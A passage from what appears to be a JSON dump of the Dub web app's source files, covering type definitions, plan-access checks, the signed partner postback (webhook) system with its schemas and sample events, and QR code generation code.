    "content": "export interface EdgeLinkProps {\n  id: string;\n  domain: string;\n  key: string;\n  url: string;\n  shortLink: string;\n  proxy: number;\n  title: string;\n  description: string;\n  image: string;\n  video: string;\n  rewrite: number;\n  password: string | null;\n  expiresAt: string | null;\n  ios: string | null;\n  android: string | null;\n  geo: object | null;\n  projectId: string;\n  publicStats: number;\n  expiredUrl: string | null;\n  createdAt: string;\n  trackConversion: boolean;\n  programId: string | null;\n  partnerId: string | null;\n}\n\n/** Link from edge (getLinkViaEdge) with webhooks, matching ExpandedLink shape */\nexport type EdgeLinkWithWebhooks = EdgeLinkProps & {\n  webhooks: { webhookId: string }[];\n};\n\nexport interface EdgeDomainProps {\n  id: string;\n  slug: string;\n  logo: string | null;\n  verified: number;\n  placeholder: string;\n  expiredUrl: string | null;\n  notFoundUrl: string | null;\n  primary: number;\n  archived: number;\n  projectId: string;\n  lastChecked: string;\n  createdAt: string;\n  updatedAt: string;\n}\n"
  },
  {
    "path": "apps/web/lib/plans/has-partner-access.ts",
    "content": "import { PLANS } from \"@dub/utils\";\n\n/**\n * Check if a plan has access to partner programs (payouts limit > 0)\n * Free & Pro: payouts = 0 (no access)\n * Business+: payouts > 0 (has access)\n */\nexport function planHasPartnerAccess(planName: string): boolean {\n  const plan = PLANS.find(\n    (p) => p.name.toLowerCase() === planName.toLowerCase(),\n  );\n  return plan ? plan.limits.payouts > 0 : false;\n}\n\n/**\n * Check if changing from currentPlan to newPlan would lose partner access\n * @param currentPlan - The current plan name\n * @param newPlan - The new plan name (null for cancellation)\n * @returns true if the change would result in losing partner access\n */\nexport function wouldLosePartnerAccess({\n  currentPlan,\n  newPlan,\n}: {\n  currentPlan: string;\n  newPlan: string | null;\n}): boolean {\n  const hasCurrentAccess = planHasPartnerAccess(currentPlan);\n\n  // If canceling subscription (newPlan is null), they lose access if they currently have it\n  if (newPlan === null) {\n    return hasCurrentAccess;\n  }\n\n  const hasNewAccess = planHasPartnerAccess(newPlan);\n\n  // Losing access means going from having access to not having access\n  return hasCurrentAccess && !hasNewAccess;\n}\n"
  },
  {
    "path": "apps/web/lib/postback/api/get-postback-events.ts",
    "content": "import { postbackEventOutputSchemaTB } from \"@/lib/postback/schemas\";\nimport * as z from \"zod/v4\";\nimport { tb } from \"../../tinybird/client\";\n\nexport const getPostbackEvents = tb.buildPipe({\n  pipe: \"get_postback_events\",\n  parameters: z.object({\n    postbackId: z.string(),\n  }),\n  data: postbackEventOutputSchemaTB,\n});\n"
  },
  {
    "path": "apps/web/lib/postback/api/postback-adapter-custom.ts",
    "content": "import { Postback } from \"@dub/prisma/client\";\nimport { PostbackAdapter, PostbackPayload } from \"./postback-adapters\";\n\nexport class PostbackCustomAdapter extends PostbackAdapter {\n  constructor(postback: Postback) {\n    super(postback);\n  }\n\n  protected registerEventTransformers() {\n    this.eventTransformers.register(\"lead.created\", {\n      transform: (payload) => this.formatPayload(payload),\n    });\n\n    this.eventTransformers.register(\"sale.created\", {\n      transform: (payload) => this.formatPayload(payload),\n    });\n\n    this.eventTransformers.register(\"commission.created\", {\n      transform: (payload) => this.formatPayload(payload),\n    });\n  }\n\n  private formatPayload(payload: PostbackPayload) {\n    return {\n      id: payload.eventId,\n      event: payload.event,\n      createdAt: payload.createdAt,\n      data: payload.data,\n    };\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/postback/api/postback-adapter-slack.ts",
    "content": "import { PostbackTrigger } from \"@/lib/types\";\nimport { Postback } from \"@dub/prisma/client\";\nimport type { z } from \"zod/v4\";\nimport {\n  commissionEventPostbackSchema,\n  leadEventPostbackSchema,\n  saleEventPostbackSchema,\n} from \"../schemas\";\nimport { PostbackAdapter } from \"./postback-adapters\";\n\ntype LeadEventPostback = z.infer<typeof leadEventPostbackSchema>;\ntype SaleEventPostback = z.infer<typeof saleEventPostbackSchema>;\ntype CommissionEventPostback = z.infer<typeof commissionEventPostbackSchema>;\n\ninterface PostbackPayload<T extends Record<string, unknown>> {\n  eventId: string;\n  event: PostbackTrigger;\n  createdAt: string;\n  data: T;\n}\n\nexport class PostbackSlackAdapter extends PostbackAdapter {\n  constructor(postback: Postback) {\n    super(postback);\n  }\n\n  protected registerEventTransformers() {\n    this.eventTransformers.register(\"lead.created\", {\n      transform: ({ data }: PostbackPayload<LeadEventPostback>) => {\n        throw Error(\"Not implemented.\");\n      },\n    });\n\n    this.eventTransformers.register(\"sale.created\", {\n      transform: ({ data }: PostbackPayload<SaleEventPostback>) => {\n        throw Error(\"Not implemented.\");\n      },\n    });\n\n    this.eventTransformers.register(\"commission.created\", {\n      transform: ({ data }: PostbackPayload<CommissionEventPostback>) => {\n        throw Error(\"Not implemented.\");\n      },\n    });\n  }\n}\n\nfunction escapeSlackText(value: string | null | undefined) {\n  if (value == null) {\n    return \"\";\n  }\n\n  return value\n    .replace(/&/g, \"&amp;\")\n    .replace(/</g, \"&lt;\")\n    .replace(/>/g, \"&gt;\");\n}\n"
  },
  {
    "path": "apps/web/lib/postback/api/postback-adapters.ts",
    "content": "import { qstash } from \"@/lib/cron\";\nimport { PostbackTrigger } from \"@/lib/types\";\nimport { createWebhookSignature } from \"@/lib/webhook/signature\";\nimport { Postback } from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { PostbackEventTransformers } from \"./postback-event-transformers\";\n\nexport interface PostbackPayload {\n  eventId: string;\n  event: PostbackTrigger;\n  createdAt: string;\n  data: unknown;\n}\n\nexport abstract class PostbackAdapter {\n  protected eventTransformers = new PostbackEventTransformers();\n\n  constructor(protected postback: Postback) {\n    this.registerEventTransformers();\n  }\n\n  protected abstract registerEventTransformers(): void;\n\n  async execute(payload: PostbackPayload) {\n    const transformedPayload = this.eventTransformers.transform(payload);\n\n    if (!transformedPayload) {\n      return;\n    }\n\n    const searchParams = {\n      postbackId: this.postback.id,\n      eventId: payload.eventId,\n      event: payload.event,\n    };\n\n    const callbackUrl = buildCallbackUrl(\n      `${APP_DOMAIN_WITH_NGROK}/api/postbacks/callback`,\n      searchParams,\n    );\n\n    const signature = await createWebhookSignature(\n      this.postback.secret,\n      transformedPayload,\n    );\n\n    const response = await qstash.publishJSON({\n      callback: callbackUrl.href,\n      failureCallback: callbackUrl.href,\n      url: this.postback.url,\n      body: transformedPayload,\n      headers: {\n        \"Dub-Signature\": signature,\n        \"Upstash-Hide-Headers\": \"true\",\n      },\n    });\n\n    if (!response.messageId) {\n      console.error(\"Failed to publish postback event to QStash\", response);\n    }\n\n    if (process.env.NODE_ENV === \"development\") {\n      console.debug(\"Published postback event to QStash\", {\n        ...response,\n        payload: transformedPayload,\n      });\n    }\n  }\n}\n\nfunction buildCallbackUrl(base: string, params: Record<string, string>): URL {\n  const url = new URL(base);\n\n  Object.entries(params).forEach(([key, value]) => {\n    url.searchParams.append(key, value);\n  });\n\n  return url;\n}\n"
  },
  {
    "path": "apps/web/lib/postback/api/postback-event-enrichers.ts",
    "content": "import { transformLink } from \"@/lib/api/links\";\nimport { PostbackTrigger } from \"@/lib/types\";\nimport { toCamelCase } from \"@dub/utils\";\nimport {\n  commissionEventPostbackSchema,\n  leadEventPostbackSchema,\n  saleEventPostbackSchema,\n} from \"../schemas\";\n\ninterface PostbackEventEnricher {\n  enrich(data: Record<string, unknown>): Record<string, unknown>;\n}\n\nclass PostbackEventEnrichers {\n  private enrichers = new Map<PostbackTrigger, PostbackEventEnricher>();\n\n  register(event: PostbackTrigger, enricher: PostbackEventEnricher) {\n    if (this.enrichers.has(event)) {\n      console.warn(\n        `[PostbackEventEnrichers] Overwriting enricher for event ${event}.`,\n      );\n    }\n\n    this.enrichers.set(event, enricher);\n\n    return this;\n  }\n\n  enrich(event: PostbackTrigger, data: Record<string, unknown>) {\n    const enricher = this.enrichers.get(event);\n\n    if (!enricher) {\n      throw new Error(\n        `[PostbackEventEnrichers] No enricher registered for event ${event}.`,\n      );\n    }\n\n    return enricher.enrich(data);\n  }\n\n  has(event: PostbackTrigger) {\n    return this.enrichers.has(event);\n  }\n}\n\n// Register event enrichers for each event type\nexport const postbackEventEnrichers = new PostbackEventEnrichers();\n\npostbackEventEnrichers.register(\"lead.created\", {\n  enrich: (data) => {\n    const lead: any = Object.fromEntries(\n      Object.entries(data).map(([key, value]) => [toCamelCase(key), value]),\n    );\n\n    return leadEventPostbackSchema.parse({\n      ...lead,\n      link: transformLink(lead.link),\n      click: {\n        ...lead,\n        id: lead.clickId,\n        timestamp: new Date(lead.timestamp + \"Z\"),\n      },\n      customer: lead.customer,\n    });\n  },\n});\n\npostbackEventEnrichers.register(\"sale.created\", {\n  enrich: (data) => {\n    const sale: any = Object.fromEntries(\n      Object.entries(data).map(([key, value]) => [toCamelCase(key), value]),\n    );\n\n    return saleEventPostbackSchema.parse({\n      ...sale,\n      link: transformLink(sale.link),\n      click: {\n        ...sale,\n        id: sale.clickId,\n        timestamp: new Date(sale.clickedAt + \"Z\"),\n      },\n      customer: sale.customer,\n      sale: {\n        amount: sale.amount,\n        currency: sale.currency,\n      },\n    });\n  },\n});\n\npostbackEventEnrichers.register(\"commission.created\", {\n  enrich: (data) => commissionEventPostbackSchema.parse(data),\n});\n"
  },
  {
    "path": "apps/web/lib/postback/api/postback-event-transformers.ts",
    "content": "import { PostbackTrigger } from \"@/lib/types\";\n\ninterface PostbackPayload {\n  eventId: string;\n  event: PostbackTrigger;\n  createdAt: string;\n  data: unknown;\n}\n\ninterface PostbackEventTransformer {\n  transform(payload: PostbackPayload): unknown;\n}\n\nexport class PostbackEventTransformers {\n  private transformers = new Map<PostbackTrigger, PostbackEventTransformer>();\n\n  register(event: PostbackTrigger, transformer: PostbackEventTransformer) {\n    if (this.transformers.has(event)) {\n      console.warn(\n        `[PostbackEventTransformers] Overwriting transformer for event ${event}.`,\n      );\n    }\n\n    this.transformers.set(event, transformer);\n\n    return this;\n  }\n\n  transform(payload: PostbackPayload) {\n    const transformer = this.transformers.get(payload.event);\n\n    if (!transformer) {\n      console.warn(\n        `[PostbackEventTransformers] No transformer found for event ${payload.event}.`,\n      );\n\n      return null;\n    }\n\n    return transformer.transform(payload);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/postback/api/record-postback-event.ts",
    "content": "import { postbackEventInputSchemaTB } from \"@/lib/postback/schemas\";\nimport { tb } from \"../../tinybird/client\";\n\nexport const recordPostbackEvent = tb.buildIngestEndpoint({\n  datasource: \"dub_postback_events\",\n  event: postbackEventInputSchemaTB.omit({ timestamp: true }),\n});\n"
  },
  {
    "path": "apps/web/lib/postback/api/send-partner-postback.ts",
    "content": "import { POSTBACK_EVENT_ID_PREFIX } from \"@/lib/postback/constants\";\nimport { PostbackTrigger } from \"@/lib/types\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid } from \"@dub/utils\";\nimport { PostbackCustomAdapter } from \"./postback-adapter-custom\";\nimport { PostbackSlackAdapter } from \"./postback-adapter-slack\";\nimport { postbackEventEnrichers } from \"./postback-event-enrichers\";\n\ninterface SendPartnerPostbackParams {\n  partnerId: string;\n  event: PostbackTrigger;\n  data: Record<string, unknown>;\n  skipEnrichment?: boolean; // Skip enrichment if the data is already enriched when sending a test event\n  isTest?: boolean;\n}\n\nexport const sendPartnerPostback = async ({\n  partnerId,\n  event,\n  data,\n  skipEnrichment = false,\n  isTest = false,\n}: SendPartnerPostbackParams) => {\n  const postbacks = await prisma.postback.findMany({\n    where: {\n      partnerId,\n      ...(isTest\n        ? {} // include disabled\n        : { disabledAt: null }),\n      triggers: {\n        array_contains: [event],\n      },\n    },\n  });\n\n  if (postbacks.length === 0) {\n    console.log(\n      `[sendPartnerPostback] No postbacks found for partner ${partnerId} for the event ${event}.`,\n    );\n    return;\n  }\n\n  let enrichedData: Record<string, unknown> | undefined;\n\n  try {\n    enrichedData =\n      !skipEnrichment && postbackEventEnrichers.has(event)\n        ? postbackEventEnrichers.enrich(event, data)\n        : data;\n  } catch (error) {\n    console.error(\"[sendPartnerPostback] Error enriching data\", error);\n    return;\n  }\n\n  const adapters = postbacks.map((postback) => {\n    switch (postback.receiver) {\n      case \"custom\":\n        return new PostbackCustomAdapter(postback);\n      case \"slack\":\n        return new PostbackSlackAdapter(postback);\n      default:\n        throw new Error(`Unknown postback receiver ${postback.receiver}`);\n    }\n  });\n\n  await Promise.allSettled(\n    adapters.map((adapter) =>\n      adapter.execute({\n        event,\n        eventId: `${POSTBACK_EVENT_ID_PREFIX}${nanoid(25)}`,\n        createdAt: new Date().toISOString(),\n        data: enrichedData,\n      }),\n    ),\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/postback/api/utils.ts",
    "content": "const POSTBACK_URL_RECEIVERS: Record<string, \"slack\" | \"custom\"> = {\n  \"hooks.slack.com\": \"slack\",\n};\n\nexport const identifyPostbackChannel = (url: string) => {\n  try {\n    const { hostname } = new URL(url);\n    return POSTBACK_URL_RECEIVERS[hostname] ?? \"custom\";\n  } catch {\n    return \"custom\";\n  }\n};\n"
  },
  {
    "path": "apps/web/lib/postback/constants.ts",
    "content": "export const POSTBACK_SECRET_LENGTH = 16;\n\nexport const POSTBACK_SECRET_PREFIX = \"pbsec_\";\n\nexport const POSTBACK_EVENT_ID_PREFIX = \"evt_\";\n\nexport const POSTBACK_TRIGGERS = [\n  \"lead.created\",\n  \"sale.created\",\n  \"commission.created\",\n] as const;\n\nexport const POSTBACK_TRIGGER_DESCRIPTIONS: Record<string, string> = {\n  \"lead.created\": \"Lead created\",\n  \"sale.created\": \"Sale created\",\n  \"commission.created\": \"Commission created\",\n};\n\nexport const MAX_POSTBACKS = 5;\n"
  },
  {
    "path": "apps/web/lib/postback/sample-events/commission-created.json",
    "content": "{\n  \"id\": \"cm_1K09DJTBCRT24P6BRD515CK29\",\n  \"type\": \"sale\",\n  \"amount\": 50000,\n  \"earnings\": 10000,\n  \"currency\": \"usd\",\n  \"status\": \"pending\",\n  \"description\": null,\n  \"quantity\": 1,\n  \"createdAt\": \"2025-07-16T10:48:14.722Z\",\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\"\n  },\n  \"customer\": {\n    \"id\": \"cus_1K09DJDEACR47NPYC93RM43WF\",\n    \"country\": \"US\",\n    \"createdAt\": \"2025-07-16T10:48:01.739Z\",\n    \"firstSaleAt\": \"2025-07-18T10:48:01.739Z\",\n    \"subscriptionCanceledAt\": null\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/postback/sample-events/lead-created.json",
    "content": "{\n  \"eventName\": \"Signup\",\n  \"click\": {\n    \"id\": \"GWGrkftJdYlZD2mq\",\n    \"timestamp\": \"2025-02-03T09:35:57.926Z\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"country\": \"US\",\n    \"city\": \"San Jose\",\n    \"region\": \"sfo1\",\n    \"continent\": \"NA\",\n    \"device\": \"Desktop\",\n    \"browser\": \"Chrome\",\n    \"os\": \"Mac OS\",\n    \"referer\": \"(direct)\",\n    \"refererUrl\": \"(direct)\",\n    \"qr\": false,\n    \"ip\": \"185.211.32.242\"\n  },\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\"\n  },\n  \"customer\": {\n    \"id\": \"cus_1K09DJDEACR47NPYC93RM43WF\",\n    \"country\": \"US\",\n    \"createdAt\": \"2025-07-16T10:48:01.739Z\",\n    \"firstSaleAt\": \"2025-07-18T10:48:01.739Z\",\n    \"subscriptionCanceledAt\": null\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/postback/sample-events/sale-created.json",
    "content": "{\n  \"eventName\": \"Subscription\",\n  \"click\": {\n    \"id\": \"GWGrkftJdYlZD2mq\",\n    \"timestamp\": \"2025-02-03T09:35:57.926Z\",\n    \"url\": \"https://github.com/dubinc/dub\",\n    \"country\": \"US\",\n    \"city\": \"San Jose\",\n    \"region\": \"sfo1\",\n    \"continent\": \"NA\",\n    \"device\": \"Desktop\",\n    \"browser\": \"Chrome\",\n    \"os\": \"Mac OS\",\n    \"referer\": \"(direct)\",\n    \"refererUrl\": \"(direct)\",\n    \"qr\": false,\n    \"ip\": \"185.211.32.242\"\n  },\n  \"link\": {\n    \"id\": \"cm0lcuvtz000xcutmqw4a7wi3\",\n    \"shortLink\": \"https://dub.sh/track-test\",\n    \"domain\": \"dub.sh\",\n    \"key\": \"track-test\"\n  },\n  \"customer\": {\n    \"id\": \"cus_1K09DJDEACR47NPYC93RM43WF\",\n    \"country\": \"US\",\n    \"createdAt\": \"2025-07-16T10:48:01.739Z\",\n    \"firstSaleAt\": \"2025-07-18T10:48:01.739Z\",\n    \"subscriptionCanceledAt\": null\n  },\n  \"sale\": {\n    \"amount\": 100,\n    \"currency\": \"usd\"\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/postback/schemas.ts",
    "content": "import { parseUrlSchema } from \"@/lib/zod/schemas/utils\";\nimport { PostbackReceiver } from \"@dub/prisma/client\";\nimport * as z from \"zod/v4\";\nimport { clickEventSchema } from \"../zod/schemas/clicks\";\nimport { CommissionSchema } from \"../zod/schemas/commissions\";\nimport { CustomerEnrichedSchema } from \"../zod/schemas/customers\";\nimport { LinkSchema } from \"../zod/schemas/links\";\nimport { POSTBACK_TRIGGERS } from \"./constants\";\n\nexport const postbackSchema = z.object({\n  id: z.string(),\n  name: z.string(),\n  url: z.string(),\n  triggers: z.array(z.enum(POSTBACK_TRIGGERS)),\n  receiver: z.enum(PostbackReceiver),\n  disabledAt: z.coerce.date().nullable(),\n  createdAt: z.coerce.date(),\n  updatedAt: z.coerce.date(),\n});\n\nexport const createPostbackInputSchema = z.object({\n  name: z\n    .string()\n    .min(1, \"Name is required\")\n    .max(40, \"Name must be less than 40 characters\"),\n  url: parseUrlSchema.refine((u) => u.startsWith(\"https://\"), {\n    message: \"URL must use HTTPS\",\n  }),\n  triggers: z\n    .array(z.enum(POSTBACK_TRIGGERS))\n    .min(1, \"At least one trigger is required\"),\n});\n\nexport const createPostbackOutputSchema = z.object({\n  ...postbackSchema.shape,\n  secret: z.string(),\n});\n\nexport const updatePostbackInputSchema = createPostbackInputSchema\n  .partial()\n  .extend({\n    disabled: z.boolean().optional(),\n  });\n\nexport const sendTestPostbackInputSchema = z.object({\n  event: z.enum(POSTBACK_TRIGGERS),\n});\n\n// Postback event schemas\nconst postbackLinkSchema = LinkSchema.pick({\n  id: true,\n  shortLink: true,\n  domain: true,\n  key: true,\n});\n\nconst postbackCustomerSchema = CustomerEnrichedSchema.pick({\n  id: true,\n  country: true,\n  createdAt: true,\n  firstSaleAt: true,\n  subscriptionCanceledAt: true,\n});\n\nexport const leadEventPostbackSchema = z.object({\n  eventName: z.string(),\n  click: clickEventSchema,\n  link: postbackLinkSchema,\n  customer: postbackCustomerSchema,\n});\n\nexport const saleEventPostbackSchema = z.object({\n  eventName: z.string(),\n  click: clickEventSchema,\n  link: postbackLinkSchema,\n  customer: postbackCustomerSchema,\n  sale: z.object({\n    amount: z.number(),\n    currency: z.string(),\n  }),\n});\n\nexport const commissionEventPostbackSchema = CommissionSchema.pick({\n  id: true,\n  type: true,\n  amount: true,\n  earnings: true,\n  currency: true,\n  status: true,\n  description: true,\n  quantity: true,\n  createdAt: true,\n}).extend({\n  link: postbackLinkSchema.nullable(),\n  customer: postbackCustomerSchema.nullable(),\n});\n\nexport const postbackCallbackParamsSchema = z.object({\n  postbackId: z.string(),\n  eventId: z.string(),\n  event: z.enum(POSTBACK_TRIGGERS),\n});\n\nexport const postbackCallbackBodySchema = z.object({\n  status: z.number(),\n  url: z.string(),\n  sourceMessageId: z.string(),\n  body: z.string().optional().default(\"\"),\n  sourceBody: z.string(),\n  retried: z.number().optional().default(0),\n});\n\nexport const postbackEventInputSchemaTB = z.object({\n  postback_id: z.string(),\n  event_id: z.string(),\n  message_id: z.string(),\n  event: z.enum(POSTBACK_TRIGGERS),\n  url: z.url(),\n  response_status: z.number(),\n  response_body: z.string(),\n  request_body: z.string(),\n  timestamp: z.string(),\n  retry_attempt: z.number(),\n});\n\nexport const postbackEventOutputSchemaTB = postbackEventInputSchemaTB.omit({\n  postback_id: true,\n  message_id: true,\n});\n"
  },
  {
    "path": "apps/web/lib/qr/api.tsx",
    "content": "import qrcodegen from \"./codegen\";\nimport {\n  DEFAULT_BGCOLOR,\n  DEFAULT_FGCOLOR,\n  DEFAULT_LEVEL,\n  DEFAULT_MARGIN,\n  DEFAULT_SIZE,\n  ERROR_LEVEL_MAP,\n} from \"./constants\";\nimport { QRPropsSVG } from \"./types\";\nimport { excavateModules, generatePath, getImageSettings } from \"./utils\";\n\nexport async function getQRAsSVG(props: QRPropsSVG) {\n  const {\n    value,\n    size = DEFAULT_SIZE,\n    level = DEFAULT_LEVEL,\n    bgColor = DEFAULT_BGCOLOR,\n    fgColor = DEFAULT_FGCOLOR,\n    margin = DEFAULT_MARGIN,\n    imageSettings,\n    ...otherProps\n  } = props;\n\n  let cells = qrcodegen.QrCode.encodeText(\n    value,\n    ERROR_LEVEL_MAP[level],\n  ).getModules();\n\n  const numCells = cells.length + margin * 2;\n  const calculatedImageSettings = getImageSettings(\n    cells,\n    size,\n    margin,\n    imageSettings,\n  );\n\n  let image = <></>;\n  if (imageSettings != null && calculatedImageSettings != null) {\n    if (calculatedImageSettings.excavation != null) {\n      cells = excavateModules(cells, calculatedImageSettings.excavation);\n    }\n\n    const base64Image = await fetch(\n      `https://wsrv.nl/?url=${imageSettings.src}&w=100&h=100&encoding=base64`,\n    ).then((res) => res.text());\n\n    image = (\n      <image\n        href={base64Image}\n        height={calculatedImageSettings.h}\n        width={calculatedImageSettings.w}\n        x={calculatedImageSettings.x + margin}\n        y={calculatedImageSettings.y + margin}\n        preserveAspectRatio=\"none\"\n      />\n    );\n  }\n\n  // Drawing strategy: instead of a rect per module, we're going to create a\n  // single path for the dark modules and layer that on top of a light rect,\n  // for a total of 2 DOM nodes. We pay a bit more in string concat but that's\n  // way faster than DOM ops.\n  // For level 1, 441 nodes -> 2\n  // For level 40, 31329 -> 2\n  const fgPath = generatePath(cells, margin);\n\n  return (\n    <svg\n      height={size}\n      width={size}\n      viewBox={`0 0 ${numCells} ${numCells}`}\n      xmlns=\"http://www.w3.org/2000/svg\"\n      {...otherProps}\n    >\n      <path\n        fill={bgColor}\n        d={`M0,0 h${numCells}v${numCells}H0z`}\n        shapeRendering=\"crispEdges\"\n      />\n      <path fill={fgColor} d={fgPath} shapeRendering=\"crispEdges\" />\n      {image}\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/lib/qr/codegen.ts",
    "content": "/**\n * @license QR Code generator library (TypeScript)\n * Copyright (c) Project Nayuki.\n * SPDX-License-Identifier: MIT\n */\n\n\"use strict\";\n\nnamespace qrcodegen {\n  type bit = number;\n  type byte = number;\n  type int = number;\n\n  /*---- QR Code symbol class ----*/\n\n  /*\n   * A QR Code symbol, which is a type of two-dimension barcode.\n   * Invented by Denso Wave and described in the ISO/IEC 18004 standard.\n   * Instances of this class represent an immutable square grid of dark and light cells.\n   * The class provides static factory functions to create a QR Code from text or binary data.\n   * The class covers the QR Code Model 2 specification, supporting all versions (sizes)\n   * from 1 to 40, all 4 error correction levels, and 4 character encoding modes.\n   *\n   * Ways to create a QR Code object:\n   * - High level: Take the payload data and call QrCode.encodeText() or QrCode.encodeBinary().\n   * - Mid level: Custom-make the list of segments and call QrCode.encodeSegments().\n   * - Low level: Custom-make the array of data codeword bytes (including\n   *   segment headers and final padding, excluding error correction codewords),\n   *   supply the appropriate version number, and call the QrCode() constructor.\n   * (Note that all ways require supplying the desired error correction level.)\n   */\n  export class QrCode {\n    /*-- Static factory functions (high level) --*/\n\n    // Returns a QR Code representing the given Unicode text string at the given error correction level.\n    // As a conservative upper bound, this function is guaranteed to succeed for strings that have 738 or fewer\n    // Unicode code points (not UTF-16 code units) if the low error correction level is used. The smallest possible\n    // QR Code version is automatically chosen for the output. The ECC level of the result may be higher than the\n    // ecl argument if it can be done without increasing the version.\n    public static encodeText(text: string, ecl: QrCode.Ecc): QrCode {\n      const segs: Array<QrSegment> = qrcodegen.QrSegment.makeSegments(text);\n      return QrCode.encodeSegments(segs, ecl);\n    }\n\n    // Returns a QR Code representing the given binary data at the given error correction level.\n    // This function always encodes using the binary segment mode, not any text mode. The maximum number of\n    // bytes allowed is 2953. The smallest possible QR Code version is automatically chosen for the output.\n    // The ECC level of the result may be higher than the ecl argument if it can be done without increasing the version.\n    public static encodeBinary(\n      data: Readonly<Array<byte>>,\n      ecl: QrCode.Ecc,\n    ): QrCode {\n      const seg: QrSegment = qrcodegen.QrSegment.makeBytes(data);\n      return QrCode.encodeSegments([seg], ecl);\n    }\n\n    /*-- Static factory functions (mid level) --*/\n\n    // Returns a QR Code representing the given segments with the given encoding parameters.\n    // The smallest possible QR Code version within the given range is automatically\n    // chosen for the output. Iff boostEcl is true, then the ECC level of the result\n    // may be higher than the ecl argument if it can be done without increasing the\n    // version. The mask number is either between 0 to 7 (inclusive) to force that\n    // mask, or -1 to automatically choose an appropriate mask (which may be slow).\n    // This function allows the user to create a custom sequence of segments that switches\n    // between modes (such as alphanumeric and byte) to encode text in less space.\n    // This is a mid-level API; the high-level API is encodeText() and encodeBinary().\n    public static encodeSegments(\n      segs: Readonly<Array<QrSegment>>,\n      ecl: QrCode.Ecc,\n      minVersion: int = 1,\n      maxVersion: int = 40,\n      mask: int = -1,\n      boostEcl: boolean = true,\n    ): QrCode {\n      if (\n        !(\n          QrCode.MIN_VERSION <= minVersion &&\n          minVersion <= maxVersion &&\n          maxVersion <= QrCode.MAX_VERSION\n        ) ||\n        mask < -1 ||\n        mask > 7\n      )\n        throw new RangeError(\"Invalid value\");\n\n      // Find the minimal version number to use\n      let version: int;\n      let dataUsedBits: int;\n      for (version = minVersion; ; version++) {\n        const dataCapacityBits: int =\n          QrCode.getNumDataCodewords(version, ecl) * 8; // Number of data bits available\n        const usedBits: number = QrSegment.getTotalBits(segs, version);\n        if (usedBits <= dataCapacityBits) {\n          dataUsedBits = usedBits;\n          break; // This version number is found to be suitable\n        }\n        if (version >= maxVersion)\n          // All versions in the range could not fit the given data\n          throw new RangeError(\"Data too long\");\n      }\n\n      // Increase the error correction level while the data still fits in the current version number\n      for (const newEcl of [\n        QrCode.Ecc.MEDIUM,\n        QrCode.Ecc.QUARTILE,\n        QrCode.Ecc.HIGH,\n      ]) {\n        // From low to high\n        if (\n          boostEcl &&\n          dataUsedBits <= QrCode.getNumDataCodewords(version, newEcl) * 8\n        )\n          ecl = newEcl;\n      }\n\n      // Concatenate all segments to create the data bit string\n      let bb: Array<bit> = [];\n      for (const seg of segs) {\n        appendBits(seg.mode.modeBits, 4, bb);\n        appendBits(seg.numChars, seg.mode.numCharCountBits(version), bb);\n        for (const b of seg.getData()) bb.push(b);\n      }\n      assert(bb.length == dataUsedBits);\n\n      // Add terminator and pad up to a byte if applicable\n      const dataCapacityBits: int =\n        QrCode.getNumDataCodewords(version, ecl) * 8;\n      assert(bb.length <= dataCapacityBits);\n      appendBits(0, Math.min(4, dataCapacityBits - bb.length), bb);\n      appendBits(0, (8 - (bb.length % 8)) % 8, bb);\n      assert(bb.length % 8 == 0);\n\n      // Pad with alternating bytes until data capacity is reached\n      for (\n        let padByte = 0xec;\n        bb.length < dataCapacityBits;\n        padByte ^= 0xec ^ 0x11\n      )\n        appendBits(padByte, 8, bb);\n\n      // Pack bits into bytes in big endian\n      let dataCodewords: Array<byte> = [];\n      while (dataCodewords.length * 8 < bb.length) dataCodewords.push(0);\n      bb.forEach(\n        (b: bit, i: int) => (dataCodewords[i >>> 3] |= b << (7 - (i & 7))),\n      );\n\n      // Create the QR Code object\n      return new QrCode(version, ecl, dataCodewords, mask);\n    }\n\n    /*-- Fields --*/\n\n    // The width and height of this QR Code, measured in modules, between\n    // 21 and 177 (inclusive). This is equal to version * 4 + 17.\n    public readonly size: int;\n\n    // The index of the mask pattern used in this QR Code, which is between 0 and 7 (inclusive).\n    // Even if a QR Code is created with automatic masking requested (mask = -1),\n    // the resulting object still has a mask value between 0 and 7.\n    public readonly mask: int;\n\n    // The modules of this QR Code (false = light, true = dark).\n    // Immutable after constructor finishes. Accessed through getModule().\n    private readonly modules: Array<Array<boolean>> = [];\n\n    // Indicates function modules that are not subjected to masking. Discarded when constructor finishes.\n    private readonly isFunction: Array<Array<boolean>> = [];\n\n    /*-- Constructor (low level) and fields --*/\n\n    // Creates a new QR Code with the given version number,\n    // error correction level, data codeword bytes, and mask number.\n    // This is a low-level API that most users should not use directly.\n    // A mid-level API is the encodeSegments() function.\n    public constructor(\n      // The version number of this QR Code, which is between 1 and 40 (inclusive).\n      // This determines the size of this barcode.\n      public readonly version: int,\n\n      // The error correction level used in this QR Code.\n      public readonly errorCorrectionLevel: QrCode.Ecc,\n\n      dataCodewords: Readonly<Array<byte>>,\n\n      msk: int,\n    ) {\n      // Check scalar arguments\n      if (version < QrCode.MIN_VERSION || version > QrCode.MAX_VERSION)\n        throw new RangeError(\"Version value out of range\");\n      if (msk < -1 || msk > 7) throw new RangeError(\"Mask value out of range\");\n      this.size = version * 4 + 17;\n\n      // Initialize both grids to be size*size arrays of Boolean false\n      let row: Array<boolean> = [];\n      for (let i = 0; i < this.size; i++) row.push(false);\n      for (let i = 0; i < this.size; i++) {\n        this.modules.push(row.slice()); // Initially all light\n        this.isFunction.push(row.slice());\n      }\n\n      // Compute ECC, draw modules\n      this.drawFunctionPatterns();\n      const allCodewords: Array<byte> = this.addEccAndInterleave(dataCodewords);\n      this.drawCodewords(allCodewords);\n\n      // Do 